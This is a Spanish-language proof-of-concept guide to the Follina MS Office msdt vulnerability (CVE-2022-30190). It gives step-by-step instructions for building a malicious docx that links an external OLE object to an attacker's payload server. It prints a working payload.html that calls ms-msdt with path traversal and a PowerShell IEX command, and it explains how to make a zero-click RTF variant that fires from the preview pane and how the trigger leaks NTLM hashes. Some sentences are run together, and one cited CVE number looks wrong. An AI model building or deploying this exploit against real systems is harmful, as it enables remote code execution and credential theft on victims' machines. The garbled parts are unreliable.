
PoC CVE-2022-30190 : vulnerabilidad 0-day de MS Office RCE, también conocida como msdt follina
Información : Nueva vulnerabilidad de día cero de Microsoft Office utilizada en ataques para ejecutar PowerShell
El 29 de mayo de 2022, el equipo Nao_Sec, un equipo independiente de investigación en ciberseguridad, descubrió un documento malicioso de Office compartido en Virustotal. Este documento utiliza un esquema inusual pero conocido para infectar a sus víctimas. El esquema no fue detectado como malicioso por algunos EDR, como Microsoft Defender for Endpoint. Esta vulnerabilidad podría conducir a la ejecución de código sin necesidad de interacción del usuario, ya que no involucra macros, excepto si el modo de Vista protegida está habilitado. Todavía no se ha atribuido ningún número de CVE.
La vulnerabilidad está siendo explotada mediante el uso del esquema de URI de MSProtocol para cargar código. Los atacantes podrían incrustar enlaces maliciosos dentro de documentos, plantillas o correos electrónicos de Microsoft Office que comiencen con ms-msdt: y que se cargarán y ejecutarán posteriormente sin interacción del usuario
Los archivos docx de MS Office pueden contener referencias externas a objetos OLE como archivos HTML. Existe un esquema HTML ms-msdt: que invoca la herramienta de diagnóstico msdt, la cual es capaz de ejecutar código arbitrario (especificado en los parámetros).
El resultado es un vector de ataque aterrador para obtener RCE mediante la apertura de archivos docx maliciosos (sin usar macros).
Estos son los pasos para construir un docx de prueba de concepto:
Abre Word (se usó la versión actualizada 2019 Pro, 16.0.10386.20017), crea un documento ficticio, inserta un objeto (OLE) (como imagen de mapa de bits), y guárdalo en docx.
Edita word/_rels/document.xml.rels dentro de la estructura del docx (es un zip simple). Modifica la etiqueta XML <Relationship> con el atributo
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
y cambia Target="embeddings/oleObject1.bin" cambiando el valor de Target y añadiendo el atributo TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
word/document.xml. Busca la etiqueta <o:OLEObject ..> (con r:id="rId5") y cambia el atributo de Type="Embed" a Type="Link" y añade el atributo UpdateMode="OnCall".NOTA: El docx malicioso creado es casi el mismo que el de CVE-2021-44444.
http://<payload_server>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Ten en cuenta que:
/../ al inicio del parámetro IT_BrowseForFile$() se ejecutaría mediante PowerShell, pero los espacios lo romperían.exe debe ser la última cadena final presente al final del parámetro IT_BrowseForFileAdicionalmente, el payload desencadenante puede conectarse a ubicaciones remotas. Aunque es poco probable que invoque un binario no confiable, la conexión aún transportará hashes NTLM (lo que significa que los actores maliciosos ahora tienen un hash de la contraseña de Windows de la víctima) que un adversario podría utilizar para una posterior post-explotación.
Si además añades estos elementos dentro del elemento <o:OLEObject> en word/document.xml en el paso 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
entonces también funcionará como RTF (abre el docx resultante y guárdalo como RTF).
Con RTF, no es necesario abrir el archivo en Word; basta con navegar hasta el archivo y echarle un vistazo en el panel de vista previa. El panel de vista previa activa el payload HTML externo y el RCE está ahí sin ningún clic.